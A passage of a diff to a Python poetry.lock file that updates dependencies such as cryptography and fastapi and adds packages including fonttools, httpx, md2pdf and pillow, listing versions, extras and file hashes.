"certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"}, + {file = "certifi-2023.7.22-py3-none-any.whl", hash = "sha256:92d6037539857d8206b8f6ae472e8b77db8058fec5937a1ef3f54304089edbb9"}, + {file = "certifi-2023.7.22.tar.gz", hash = "sha256:539cc1d13202e33ca466e88b2807e29f4c13049d6d87031a3c110744495cb082"}, ] [[package]] @@ -412,45 +528,67 @@ files = [ [[package]] name = "cryptography" -version = "37.0.4" +version = "41.0.3" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "cryptography-37.0.4-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:549153378611c0cca1042f20fd9c5030d37a72f634c9326e225c9f666d472884"}, - {file = "cryptography-37.0.4-cp36-abi3-macosx_10_10_x86_64.whl", hash = "sha256:a958c52505c8adf0d3822703078580d2c0456dd1d27fabfb6f76fe63d2971cd6"}, - {file = "cryptography-37.0.4-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f721d1885ecae9078c3f6bbe8a88bc0786b6e749bf32ccec1ef2b18929a05046"}, - {file = "cryptography-37.0.4-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:3d41b965b3380f10e4611dbae366f6dc3cefc7c9ac4e8842a806b9672ae9add5"}, - {file = "cryptography-37.0.4-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:80f49023dd13ba35f7c34072fa17f604d2f19bf0989f292cedf7ab5770b87a0b"}, - {file = "cryptography-37.0.4-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2dcb0b3b63afb6df7fd94ec6fbddac81b5492513f7b0436210d390c14d46ee8"}, - {file = "cryptography-37.0.4-cp36-abi3-manylinux_2_24_x86_64.whl", hash = "sha256:b7f8dd0d4c1f21759695c05a5ec8536c12f31611541f8904083f3dc582604280"}, - {file = "cryptography-37.0.4-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:30788e070800fec9bbcf9faa71ea6d8068f5136f60029759fd8c3efec3c9dcb3"}, - {file = "cryptography-37.0.4-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:190f82f3e87033821828f60787cfa42bff98404483577b591429ed99bed39d59"}, - {file = "cryptography-37.0.4-cp36-abi3-win32.whl", hash = "sha256:b62439d7cd1222f3da897e9a9fe53bbf5c104fff4d60893ad1355d4c14a24157"}, - {file = "cryptography-37.0.4-cp36-abi3-win_amd64.whl", hash = "sha256:f7a6de3e98771e183645181b3627e2563dcde3ce94a9e42a3f427d2255190327"}, - {file = "cryptography-37.0.4-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6bc95ed67b6741b2607298f9ea4932ff157e570ef456ef7ff0ef4884a134cc4b"}, - {file = "cryptography-37.0.4-pp37-pypy37_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:f8c0a6e9e1dd3eb0414ba320f85da6b0dcbd543126e30fcc546e7372a7fbf3b9"}, - {file = "cryptography-37.0.4-pp38-pypy38_pp73-macosx_10_10_x86_64.whl", hash = "sha256:e007f052ed10cc316df59bc90fbb7ff7950d7e2919c9757fd42a2b8ecf8a5f67"}, - {file = "cryptography-37.0.4-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7bc997818309f56c0038a33b8da5c0bfbb3f1f067f315f9abd6fc07ad359398d"}, - {file = "cryptography-37.0.4-pp38-pypy38_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:d204833f3c8a33bbe11eda63a54b1aad7aa7456ed769a982f21ec599ba5fa282"}, - {file = "cryptography-37.0.4-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:75976c217f10d48a8b5a8de3d70c454c249e4b91851f6838a4e48b8f41eb71aa"}, - {file = "cryptography-37.0.4-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:7099a8d55cd49b737ffc99c17de504f2257e3787e02abe6d1a6d136574873441"}, - {file = "cryptography-37.0.4-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2be53f9f5505673eeda5f2736bea736c40f051a739bfae2f92d18aed1eb54596"}, - {file = "cryptography-37.0.4-pp39-pypy39_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:91ce48d35f4e3d3f1d83e29ef4a9267246e6a3be51864a5b7d2247d5086fa99a"}, - {file = "cryptography-37.0.4-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:4c590ec31550a724ef893c50f9a97a0c14e9c851c85621c5650d699a7b88f7ab"}, - {file = "cryptography-37.0.4.tar.gz", hash = "sha256:63f9c17c0e2474ccbebc9302ce2f07b55b3b3fcb211ded18a42d5764f5c10a82"}, + {file = "cryptography-41.0.3-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:652627a055cb52a84f8c448185922241dd5217443ca194d5739b44612c5e6507"}, + {file = "cryptography-41.0.3-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:8f09daa483aedea50d249ef98ed500569841d6498aa9c9f4b0531b9964658922"}, + {file = "cryptography-41.0.3-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4fd871184321100fb400d759ad0cddddf284c4b696568204d281c902fc7b0d81"}, + {file = "cryptography-41.0.3-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:84537453d57f55a50a5b6835622ee405816999a7113267739a1b4581f83535bd"}, + {file = "cryptography-41.0.3-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:3fb248989b6363906827284cd20cca63bb1a757e0a2864d4c1682a985e3dca47"}, + {file = "cryptography-41.0.3-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:42cb413e01a5d36da9929baa9d70ca90d90b969269e5a12d39c1e0d475010116"}, + {file = "cryptography-41.0.3-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:aeb57c421b34af8f9fe830e1955bf493a86a7996cc1338fe41b30047d16e962c"}, + {file = "cryptography-41.0.3-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6af1c6387c531cd364b72c28daa29232162010d952ceb7e5ca8e2827526aceae"}, + {file = "cryptography-41.0.3-cp37-abi3-win32.whl", hash = "sha256:0d09fb5356f975974dbcb595ad2d178305e5050656affb7890a1583f5e02a306"}, + {file = "cryptography-41.0.3-cp37-abi3-win_amd64.whl", hash = "sha256:a983e441a00a9d57a4d7c91b3116a37ae602907a7618b882c8013b5762e80574"}, + {file = "cryptography-41.0.3-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5259cb659aa43005eb55a0e4ff2c825ca111a0da1814202c64d28a985d33b087"}, + {file = "cryptography-41.0.3-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:67e120e9a577c64fe1f611e53b30b3e69744e5910ff3b6e97e935aeb96005858"}, + {file = "cryptography-41.0.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:7efe8041897fe7a50863e51b77789b657a133c75c3b094e51b5e4b5cec7bf906"}, + {file = "cryptography-41.0.3-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ce785cf81a7bdade534297ef9e490ddff800d956625020ab2ec2780a556c313e"}, + {file = "cryptography-41.0.3-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:57a51b89f954f216a81c9d057bf1a24e2f36e764a1ca9a501a6964eb4a6800dd"}, + {file = "cryptography-41.0.3-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:4c2f0d35703d61002a2bbdcf15548ebb701cfdd83cdc12471d2bae80878a4207"}, + {file = "cryptography-41.0.3-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:23c2d778cf829f7d0ae180600b17e9fceea3c2ef8b31a99e3c694cbbf3a24b84"}, + {file = "cryptography-41.0.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:95dd7f261bb76948b52a5330ba5202b91a26fbac13ad0e9fc8a3ac04752058c7"}, + {file = "cryptography-41.0.3-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:41d7aa7cdfded09b3d73a47f429c298e80796c8e825ddfadc84c8a7f12df212d"}, + {file = "cryptography-41.0.3-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:d0d651aa754ef58d75cec6edfbd21259d93810b73f6ec246436a21b7841908de"}, + {file = "cryptography-41.0.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:ab8de0d091acbf778f74286f4989cf3d1528336af1b59f3e5d2ebca8b5fe49e1"}, + {file = "cryptography-41.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a74fbcdb2a0d46fe00504f571a2a540532f4c188e6ccf26f1f178480117b33c4"}, + {file = "cryptography-41.0.3.tar.gz", hash = "sha256:6d192741113ef5e30d89dcb5b956ef4e1578f304708701b8b73d38e3e1461f34"}, ] [package.dependencies] cffi = ">=1.12" [package.extras] -docs = ["sphinx (>=1.6.5,!=1.8.0,!=3.1.0,!=3.1.1)", "sphinx-rtd-theme"] +docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"] -pep8test = ["black", "flake8", "flake8-import-order", "pep8-naming"] -sdist = ["setuptools-rust (>=0.11.4)"] +nox = ["nox"] +pep8test = ["black", "check-sdist", "mypy", "ruff"] +sdist = ["build"] ssh = ["bcrypt (>=3.1.5)"] -test = ["hypothesis (>=1.11.4,!=3.79.2)", "iso8601", "pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-subtests", "pytest-xdist", "pytz"] +test = ["pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] +test-randomorder = ["pytest-randomly"] + +[[package]] +name = "cssselect2" +version = "0.7.0" +description = "CSS selectors for Python ElementTree" +optional = false +python-versions = ">=3.7" +files = [ + {file = "cssselect2-0.7.0-py3-none-any.whl", hash = "sha256:fd23a65bfd444595913f02fc71f6b286c29261e354c41d722ca7a261a49b5969"}, + {file = "cssselect2-0.7.0.tar.gz", hash = "sha256:1ccd984dab89fc68955043aca4e1b03e0cf29cad9880f6e28e3ba7a74b14aa5a"}, +] + +[package.dependencies] +tinycss2 = "*" +webencodings = "*" + +[package.extras] +doc = ["sphinx", "sphinx_rtd_theme"] +test = ["flake8", "isort", "pytest"] [[package]] name = "docopt" @@ -523,24 +661,22 @@ test = ["pytest (>=6)"] [[package]] name = "fastapi" -version = "0.70.0" +version = "0.99.1" description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" optional = false -python-versions = ">=3.6.1" +python-versions = ">=3.7" files = [ - {file = "fastapi-0.70.0-py3-none-any.whl", hash = "sha256:a36d5f2fad931aa3575c07a3472c784e81f3e664e3bb5c8b9c88d0ec1104f59c"}, - {file = "fastapi-0.70.0.tar.gz", hash = "sha256:66da43cfe5185ea1df99552acffd201f1832c6b364e0f4136c0a99f933466ced"}, + {file = "fastapi-0.99.1-py3-none-any.whl", hash = "sha256:976df7bab51ac7beda9f68c4513b8c4490b5c1135c72aafd0a5ee4023ec5282e"}, + {file = "fastapi-0.99.1.tar.gz", hash = "sha256:ac78f717cd80d657bd183f94d33b9bda84aa376a46a9dab513586b8eef1dc6fc"}, ] [package.dependencies] -pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0" -starlette = "0.16.0" +pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0" +starlette = ">=0.27.0,<0.28.0" +typing-extensions = ">=4.5.0" [package.extras] -all = ["email_validator (>=1.1.1,<2.0.0)", "itsdangerous (>=1.1.0,<3.0.0)", "jinja2 (>=2.11.2,<4.0.0)", "orjson (>=3.2.1,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "pyyaml (>=5.3.1,<6.0.0)", "requests (>=2.24.0,<3.0.0)", "ujson (>=4.0.1,<5.0.0)", "uvicorn[standard] (>=0.12.0,<0.16.0)"] -dev = ["autoflake (>=1.4.0,<2.0.0)", "flake8 (>=3.8.3,<4.0.0)", "passlib[bcrypt] (>=1.7.2,<2.0.0)", "python-jose[cryptography] (>=3.3.0,<4.0.0)", "uvicorn[standard] (>=0.12.0,<0.16.0)"] -doc = ["mdx-include (>=1.4.1,<2.0.0)", "mkdocs (>=1.1.2,<2.0.0)", "mkdocs-markdownextradata-plugin (>=0.1.7,<0.3.0)", "mkdocs-material (>=7.1.9,<8.0.0)", "pyyaml (>=5.3.1,<6.0.0)", "typer-cli (>=0.0.12,<0.0.13)"] -test = ["anyio[trio] (>=3.2.1,<4.0.0)", "black (==21.9b0)", "databases[sqlite] (>=0.3.2,<0.6.0)", "email_validator (>=1.1.1,<2.0.0)", "flake8 (>=3.8.3,<4.0.0)", "flask (>=1.1.2,<3.0.0)", "httpx (>=0.14.0,<0.19.0)", "isort (>=5.0.6,<6.0.0)", "mypy (==0.910)", "orjson (>=3.2.1,<4.0.0)", "peewee (>=3.13.3,<4.0.0)", "pytest (>=6.2.4,<7.0.0)", "pytest-cov (>=2.12.0,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "requests (>=2.24.0,<3.0.0)", "sqlalchemy (>=1.3.18,<1.5.0)", "types-dataclasses (==0.1.7)", "types-orjson (==3.6.0)", "types-ujson (==0.1.1)", "ujson (>=4.0.1,<5.0.0)"] +all = ["email-validator (>=1.1.1)", "httpx (>=0.23.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=2.11.2)", "orjson (>=3.2.1)", "python-multipart (>=0.0.5)", "pyyaml (>=5.3.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0)", "uvicorn[standard] (>=0.12.0)"] [[package]] name = "flask" @@ -565,6 +701,68 @@ Werkzeug = ">=2.3.3" async = ["asgiref (>=3.2)"] dotenv = ["python-dotenv"] +[[package]] +name = "fonttools" +version = "4.42.0" +description = "Tools to manipulate font files" +optional = false +python-versions = ">=3.8" +files = [ + {file = "fonttools-4.42.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:9c456d1f23deff64ffc8b5b098718e149279abdea4d8692dba69172fb6a0d597"}, + {file = "fonttools-4.42.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:150122ed93127a26bc3670ebab7e2add1e0983d30927733aec327ebf4255b072"}, + {file = "fonttools-4.42.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48e82d776d2e93f88ca56567509d102266e7ab2fb707a0326f032fe657335238"}, + {file = "fonttools-4.42.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58c1165f9b2662645de9b19a8c8bdd636b36294ccc07e1b0163856b74f10bafc"}, + {file = "fonttools-4.42.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:2d6dc3fa91414ff4daa195c05f946e6a575bd214821e26d17ca50f74b35b0fe4"}, + {file = "fonttools-4.42.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fae4e801b774cc62cecf4a57b1eae4097903fced00c608d9e2bc8f84cd87b54a"}, + {file = "fonttools-4.42.0-cp310-cp310-win32.whl", hash = "sha256:b8600ae7dce6ec3ddfb201abb98c9d53abbf8064d7ac0c8a0d8925e722ccf2a0"}, + {file = "fonttools-4.42.0-cp310-cp310-win_amd64.whl", hash = "sha256:57b68eab183fafac7cd7d464a7bfa0fcd4edf6c67837d14fb09c1c20516cf20b"}, + {file = "fonttools-4.42.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0a1466713e54bdbf5521f2f73eebfe727a528905ff5ec63cda40961b4b1eea95"}, + {file = "fonttools-4.42.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3fb2a69870bfe143ec20b039a1c8009e149dd7780dd89554cc8a11f79e5de86b"}, + {file = "fonttools-4.42.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ae881e484702efdb6cf756462622de81d4414c454edfd950b137e9a7352b3cb9"}, + {file = "fonttools-4.42.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:27ec3246a088555629f9f0902f7412220c67340553ca91eb540cf247aacb1983"}, + {file = "fonttools-4.42.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8ece1886d12bb36c48c00b2031518877f41abae317e3a55620d38e307d799b7e"}, + {file = "fonttools-4.42.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:10dac980f2b975ef74532e2a94bb00e97a95b4595fb7f98db493c474d5f54d0e"}, + {file = "fonttools-4.42.0-cp311-cp311-win32.whl", hash = "sha256:83b98be5d291e08501bd4fc0c4e0f8e6e05b99f3924068b17c5c9972af6fff84"}, + {file = "fonttools-4.42.0-cp311-cp311-win_amd64.whl", hash = "sha256:e35bed436726194c5e6e094fdfb423fb7afaa0211199f9d245e59e11118c576c"}, + {file = "fonttools-4.42.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:c36c904ce0322df01e590ba814d5d69e084e985d7e4c2869378671d79662a7d4"}, + {file = "fonttools-4.42.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d54e600a2bcfa5cdaa860237765c01804a03b08404d6affcd92942fa7315ffba"}, + {file = "fonttools-4.42.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:01cfe02416b6d416c5c8d15e30315cbcd3e97d1b50d3b34b0ce59f742ef55258"}, + {file = "fonttools-4.42.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f81ed9065b4bd3f4f3ce8e4873cd6a6b3f4e92b1eddefde35d332c6f414acc3"}, + {file = "fonttools-4.42.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:685a4dd6cf31593b50d6d441feb7781a4a7ef61e19551463e14ed7c527b86f9f"}, + {file = "fonttools-4.42.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:329341ba3d86a36e482610db56b30705384cb23bd595eac8cbb045f627778e9d"}, + {file = "fonttools-4.42.0-cp38-cp38-win32.whl", hash = "sha256:4655c480a1a4d706152ff54f20e20cf7609084016f1df3851cce67cef768f40a"}, + {file = "fonttools-4.42.0-cp38-cp38-win_amd64.whl", hash = "sha256:6bd7e4777bff1dcb7c4eff4786998422770f3bfbef8be401c5332895517ba3fa"}, + {file = "fonttools-4.42.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:a9b55d2a3b360e0c7fc5bd8badf1503ca1c11dd3a1cd20f2c26787ffa145a9c7"}, + {file = "fonttools-4.42.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:0df8ef75ba5791e873c9eac2262196497525e3f07699a2576d3ab9ddf41cb619"}, + {file = "fonttools-4.42.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9cd2363ea7728496827658682d049ffb2e98525e2247ca64554864a8cc945568"}, + {file = "fonttools-4.42.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d40673b2e927f7cd0819c6f04489dfbeb337b4a7b10fc633c89bf4f34ecb9620"}, + {file = "fonttools-4.42.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c8bf88f9e3ce347c716921804ef3a8330cb128284eb6c0b6c4b3574f3c580023"}, + {file = "fonttools-4.42.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:703101eb0490fae32baf385385d47787b73d9ea55253df43b487c89ec767e0d7"}, + {file = "fonttools-4.42.0-cp39-cp39-win32.whl", hash = "sha256:f0290ea7f9945174bd4dfd66e96149037441eb2008f3649094f056201d99e293"}, + {file = "fonttools-4.42.0-cp39-cp39-win_amd64.whl", hash = "sha256:ae7df0ae9ee2f3f7676b0ff6f4ebe48ad0acaeeeaa0b6839d15dbf0709f2c5ef"}, + {file = "fonttools-4.42.0-py3-none-any.whl", hash = "sha256:dfe7fa7e607f7e8b58d0c32501a3a7cac148538300626d1b930082c90ae7f6bd"}, + {file = "fonttools-4.42.0.tar.gz", hash = "sha256:614b1283dca88effd20ee48160518e6de275ce9b5456a3134d5f235523fc5065"}, +] + +[package.dependencies] +brotli = {version = ">=1.0.1", optional = true, markers = "platform_python_implementation == \"CPython\" and extra == \"woff\""} +brotlicffi = {version = ">=0.8.0", optional = true, markers = "platform_python_implementation != \"CPython\" and extra == \"woff\""} +zopfli = {version = ">=0.1.4", optional = true, markers = "extra == \"woff\""} + +[package.extras] +all = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "fs (>=2.2.0,<3)", "lxml (>=4.0,<5)", "lz4 (>=1.7.4.2)", "matplotlib", "munkres", "scipy", "skia-pathops (>=0.5.0)", "sympy", "uharfbuzz (>=0.23.0)", "unicodedata2 (>=15.0.0)", "xattr", "zopfli (>=0.1.4)"] +graphite = ["lz4 (>=1.7.4.2)"] +interpolatable = ["munkres", "scipy"] +lxml = ["lxml (>=4.0,<5)"] +pathops = ["skia-pathops (>=0.5.0)"] +plot = ["matplotlib"] +repacker = ["uharfbuzz (>=0.23.0)"] +symfont = ["sympy"] +type1 = ["xattr"] +ufo = ["fs (>=2.2.0,<3)"] +unicode = ["unicodedata2 (>=15.0.0)"] +woff = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "zopfli (>=0.1.4)"] + [[package]] name = "greenlet" version = "2.0.2" @@ -649,15 +847,80 @@ files = [ {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"}, ] +[[package]] +name = "html5lib" +version = "1.1" +description = "HTML parser based on the WHATWG HTML specification" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +files = [ + {file = "html5lib-1.1-py2.py3-none-any.whl", hash = "sha256:0d78f8fde1c230e99fe37986a60526d7049ed4bf8a9fadbad5f00e22e58e041d"}, + {file = "html5lib-1.1.tar.gz", hash = "sha256:b2e5b40261e20f354d198eae92afc10d750afb487ed5e50f9c4eaf07c184146f"}, +] + +[package.dependencies] +six = ">=1.9" +webencodings = "*" + +[package.extras] +all = ["chardet (>=2.2)", "genshi", "lxml"] +chardet = ["chardet (>=2.2)"] +genshi = ["genshi"] +lxml = ["lxml"] + +[[package]] +name = "httpcore" +version = "0.17.3" +description = "A minimal low-level HTTP client." +optional = false +python-versions = ">=3.7" +files = [ + {file = "httpcore-0.17.3-py3-none-any.whl", hash = "sha256:c2789b767ddddfa2a5782e3199b2b7f6894540b17b16ec26b2c4d8e103510b87"}, + {file = "httpcore-0.17.3.tar.gz", hash = "sha256:a6f30213335e34c1ade7be6ec7c47f19f50c56db36abef1a9dfa3815b1cb3888"}, +] + +[package.dependencies] +anyio = ">=3.0,<5.0" +certifi = "*" +h11 = ">=0.13,<0.15" +sniffio = "==1.*" + +[package.extras] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (==1.*)"] + +[[package]] +name = "httpx" +version = "0.24.1" +description = "The next generation HTTP client." +optional = false +python-versions = ">=3.7" +files = [ + {file = "httpx-0.24.1-py3-none-any.whl", hash = "sha256:06781eb9ac53cde990577af654bd990a4949de37a28bdb4a230d434f3a30b9bd"}, + {file = "httpx-0.24.1.tar.gz", hash = "sha256:5853a43053df830c20f8110c5e69fe44d035d850b2dfe795e196f00fdb774bdd"}, +] + +[package.dependencies] +certifi = "*" +httpcore = ">=0.15.0,<0.18.0" +idna = "*" +sniffio = "*" + +[package.extras] +brotli = ["brotli", "brotlicffi"] +cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (==1.*)"] + [[package]] name = "humanize" -version = "3.14.0" +version = "4.7.0" description = "Python humanize utilities" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" files = [ - {file = "humanize-3.14.0-py3-none-any.whl", hash = "sha256:32bcf712ac98ff5e73627a9d31e1ba5650619008d6d13543b5d53b48e8ab8d43"}, - {file = "humanize-3.14.0.tar.gz", hash = "sha256:60dd8c952b1df1ad83f0903844dec50a34ba7a04eea22a6b14204ffb62dbb0a4"}, + {file = "humanize-4.7.0-py3-none-any.whl", hash = "sha256:df7c429c2d27372b249d3f26eb53b07b166b661326e0325793e0a988082e3889"}, + {file = "humanize-4.7.0.tar.gz", hash = "sha256:7ca0e43e870981fa684acb5b062deb307218193bca1a01f2b2676479df849b3a"}, ] [package.extras] @@ -870,6 +1133,22 @@ files = [ [package.dependencies] altgraph = ">=0.17" +[[package]] +name = "markdown2" +version = "2.4.10" +description = "A fast and complete Python implementation of Markdown" +optional = false +python-versions = ">=3.5, <4" +files = [ + {file = "markdown2-2.4.10-py2.py3-none-any.whl", hash = "sha256:e6105800483783831f5dc54f827aa5b44eb137ecef5a70293d8ecfbb4109ecc6"}, + {file = "markdown2-2.4.10.tar.gz", hash = "sha256:cdba126d90dc3aef6f4070ac342f974d63f415678959329cc7909f96cc235d72"}, +] + +[package.extras] +all = ["pygments (>=2.7.3)", "wavedrom"] +code-syntax-highlighting = ["pygments (>=2.7.3)"] +wavedrom = ["wavedrom"] + [[package]] name = "markupsafe" version = "2.1.3" @@ -929,6 +1208,21 @@ files = [ {file = "MarkupSafe-2.1.3.tar.gz", hash = "sha256:af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad"}, ] +[[package]] +name = "md2pdf" +version = "1.0.1" +description = "md2pdf, a Markdown to PDF conversion tool" +optional = false +python-versions = "*" +files = [ + {file = "md2pdf-1.0.1.tar.gz", hash = "sha256:3d5aab77dcd5b6f5827b193819ab1a8c1cec506ce5f6c777c3411b703352cd98"}, +] + +[package.dependencies] +docopt = "*" +markdown2 = "*" +WeasyPrint = "*" + [[package]] name = "mypy-extensions" version = "1.0.0" @@ -1049,13 +1343,13 @@ totp = ["cryptography"] [[package]] name = "pathspec" -version = "0.11.1" +version = "0.11.2" description = "Utility library for gitignore style pattern matching of file paths." optional = false python-versions = ">=3.7" files = [ - {file = "pathspec-0.11.1-py3-none-any.whl", hash = "sha256:d8af70af76652554bd134c22b3e8a1cc46ed7d91edcdd721ef1a0c51a84a5293"}, - {file = "pathspec-0.11.1.tar.gz", hash = "sha256:2798de800fa92780e33acca925945e9a19a133b715067cf165b8866c15a31687"}, + {file = "pathspec-0.11.2-py3-none-any.whl", hash = "sha256:1d6ed233af05e679efb96b1851550ea95bbb64b7c490b0f5aa52996c11e92a20"}, + {file = "pathspec-0.11.2.tar.gz", hash = "sha256:e0d8d0ac2f12da61956eb2306b69f9469b42f4deb0f3cb6ed47b9cce9996ced3"}, ] [[package]] @@ -1069,20 +1363,89 @@ files = [ {file = "pefile-2023.2.7.tar.gz", hash = "sha256:82e6114004b3d6911c77c3953e3838654b04511b8b66e8583db70c65998017dc"}, ] +[[package]] +name = "pillow" +version = "10.0.0" +description = "Python Imaging Library (Fork)" +optional = false +python-versions = ">=3.8" +files = [ + {file = "Pillow-10.0.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1f62406a884ae75fb2f818694469519fb685cc7eaff05d3451a9ebe55c646891"}, + {file = "Pillow-10.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d5db32e2a6ccbb3d34d87c87b432959e0db29755727afb37290e10f6e8e62614"}, + {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:edf4392b77bdc81f36e92d3a07a5cd072f90253197f4a52a55a8cec48a12483b"}, + {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:520f2a520dc040512699f20fa1c363eed506e94248d71f85412b625026f6142c"}, + {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:8c11160913e3dd06c8ffdb5f233a4f254cb449f4dfc0f8f4549eda9e542c93d1"}, + {file = "Pillow-10.0.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:a74ba0c356aaa3bb8e3eb79606a87669e7ec6444be352870623025d75a14a2bf"}, + {file = "Pillow-10.0.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d5d0dae4cfd56969d23d94dc8e89fb6a217be461c69090768227beb8ed28c0a3"}, + {file = "Pillow-10.0.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:22c10cc517668d44b211717fd9775799ccec4124b9a7f7b3635fc5386e584992"}, + {file = "Pillow-10.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:dffe31a7f47b603318c609f378ebcd57f1554a3a6a8effbc59c3c69f804296de"}, + {file = "Pillow-10.0.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:9fb218c8a12e51d7ead2a7c9e101a04982237d4855716af2e9499306728fb485"}, + {file = "Pillow-10.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d35e3c8d9b1268cbf5d3670285feb3528f6680420eafe35cccc686b73c1e330f"}, + {file = 